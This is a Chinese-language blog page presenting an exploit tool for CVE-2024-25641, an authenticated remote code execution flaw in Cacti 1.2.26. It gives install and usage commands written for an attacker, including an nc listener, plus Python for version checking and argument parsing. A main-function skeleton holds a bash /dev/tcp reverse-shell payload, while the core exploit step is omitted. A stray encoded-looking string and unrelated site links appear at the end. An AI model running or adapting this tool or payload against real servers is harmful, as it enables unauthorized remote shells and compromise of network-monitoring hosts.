Cacti 1.2.26 远程代码执行漏洞利用工具 (CVE-2024-25641)

Cacti 1.2.26 远程代码执行漏洞利用工具 (CVE-2024-25641)

这是一个针对Cacti网络监控系统特定版本(1.2.26)的远程代码执行(RCE)漏洞的自动化利用工具。该工具基于CVE-2024-25641漏洞开发,允许经过身份验证的用户在目标系统上执行任意代码,并反弹一个交互式Shell。

功能特性

  • 自动版本检测:工具会检查目标Cacti应用的版本,确认其是否为受影响的1.2.26版本。
  • 身份验证支持:支持使用用户名和密码进行身份验证,以执行后续的利用步骤。
  • 反向Shell生成:成功利用漏洞后,可以向指定的本地主机和端口发起一个反向TCP Shell连接。
  • 可选详细输出 :提供 --verbose 参数,用于输出更详细的执行过程信息,便于调试和分析。
  • 命令行界面:通过命令行参数提供所有必要信息,使用方便快捷。

安装指南

系统要求

  • Python 3.x
  • 目标系统需要运行Cacti 1.2.26版本

依赖项

在运行此工具之前,请确保已安装所需的Python库。可以使用pip进行安装:

bash 复制代码
pip install requests beautifulsoup4 cryptography

获取工具

克隆此仓库到本地:

bash 复制代码
git clone https://github.com/your-repo/Cacti-Exploit-CVE-2024-25641.git
cd Cacti-Exploit-CVE-2024-25641

使用说明

基本用法

bash 复制代码
python3 exploit.py --url http://target-cacti.com --user admin --password secret --lhost 192.168.1.100 --lport 4444

参数说明

参数 描述 是否必需
--url Cacti应用的根URL
--user 用于登录的用户名
--password 用于登录的密码
--lhost 接收反向Shell的本地主机IP
--lport 接收反向Shell的本地端口
--verbose 启用详细输出模式

典型使用场景

  1. 攻击者设置监听器:

    bash 复制代码
    nc -lvnp 4444
  2. 攻击者运行漏洞利用脚本:

    bash 复制代码
    python3 exploit.py --url http://10.10.10.10/cacti --user admin --password admin --lhost 10.10.10.5 --lport 4444 --verbose
  3. 如果成功,攻击者的监听器将收到一个来自目标服务器的Shell。

核心代码

以下是该工具的核心实现代码,展示了漏洞利用的关键步骤。

版本检测函数

python 复制代码
import requests

def check_version(url_to_check):
    """
    检查目标URL上的Cacti版本是否为1.2.26
    """
    try:
        r = requests.get(url_to_check)
        response = r.text

        if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
            print("[+] Version seems to be 1.2.26")
        else:
            print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")
    except Exception as e:
        print(f"[-] Error checking version: {e}")

命令行参数解析

python 复制代码
import argparse

def parse_arguments():
    """
    解析并返回命令行参数
    """
    p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
    p.add_argument('--url', help="URL of the Cacti web root", required=True)
    p.add_argument('--user', help="username to log in", required=True)
    p.add_argument('--password', help="password of the username", required=True)
    p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
    p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
    p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)

    return p.parse_args()

随机字符串生成函数

python 复制代码
import string
import random

def get_random_string(length):
    """
    生成一个指定长度的随机小写字母字符串,用于绕过简单的过滤或生成唯一标识符。
    """
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

主函数逻辑框架

python 复制代码
# ... 导入必要的模块 ...

if __name__ == '__main__':
    # 解析参数
    parser = parse_arguments()
    url = parser.url
    username = parser.user
    password = parser.password
    lhost = parser.lhost
    lport = parser.lport
    verbose = parser.verbose

    # 1. 检查版本
    changelog_url = f"{url.rstrip('/')}/docs/CHANGELOG"
    check_version(changelog_url)

    # 2. 进行身份验证(此处为简化逻辑,实际代码中会包含完整的认证流程)
    # session = login(url, username, password)

    # 3. 构造并发送恶意请求,触发漏洞
    # 例如,利用文件上传或参数注入漏洞

    # 4. 生成反向Shell Payload
    # payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"

    # 5. 执行利用,并等待Shell连接
    # execute_exploit(session, url, payload)
    print(f"[*] Exploit attempted. Check your listener at {lhost}:{lport}")

6HFtX5dABrKlqXeO5PUv/5+A6Y7DjDXG69mAMwPZBsd/S4RQWPUk3KSsqxhXVYCd

相关推荐
IT_陈寒1 小时前
Vite的热更新突然不香了,排查三小时差点砸键盘
前端·人工智能·后端
阿里云大数据AI技术3 小时前
构建高转化海外电商搜索:阿里云OpenSearch行业算法版的全链路智能优化策略实战
人工智能·搜索引擎
Awu12273 小时前
⚡从零开发 Agent CLI(五)实现一个可治理、可扩展的工具系统
前端·人工智能·claude
字节跳动视频云技术团队3 小时前
让 Agent 成为音视频工作台:AI MediaKit CLI + Skill 发布
人工智能·音视频开发
魏祖潇3 小时前
framework 整合实战——DDD/TDD/SDD 三件套在 framework 仓的真实落地
人工智能·后端
AlbertZein4 小时前
Agent任务实测:谁能稳定跑完,谁只是看起来很强?
aigc·openai·ai编程
Token炼金师4 小时前
去噪扩散:从随机噪声到高保真图像的数学之路
人工智能·aigc
这个DBA有点耶4 小时前
AI写的SQL跑崩了生产库,这锅谁背?
数据库·人工智能·程序员
阿里云大数据AI技术4 小时前
阿里云 EMR AI 助手正式发布:从问答工具到全栈智能运维助手
运维·人工智能
AlbertZein5 小时前
别被模型宣传骗了,真实 Agent 任务一跑就知道
aigc·openai·ai编程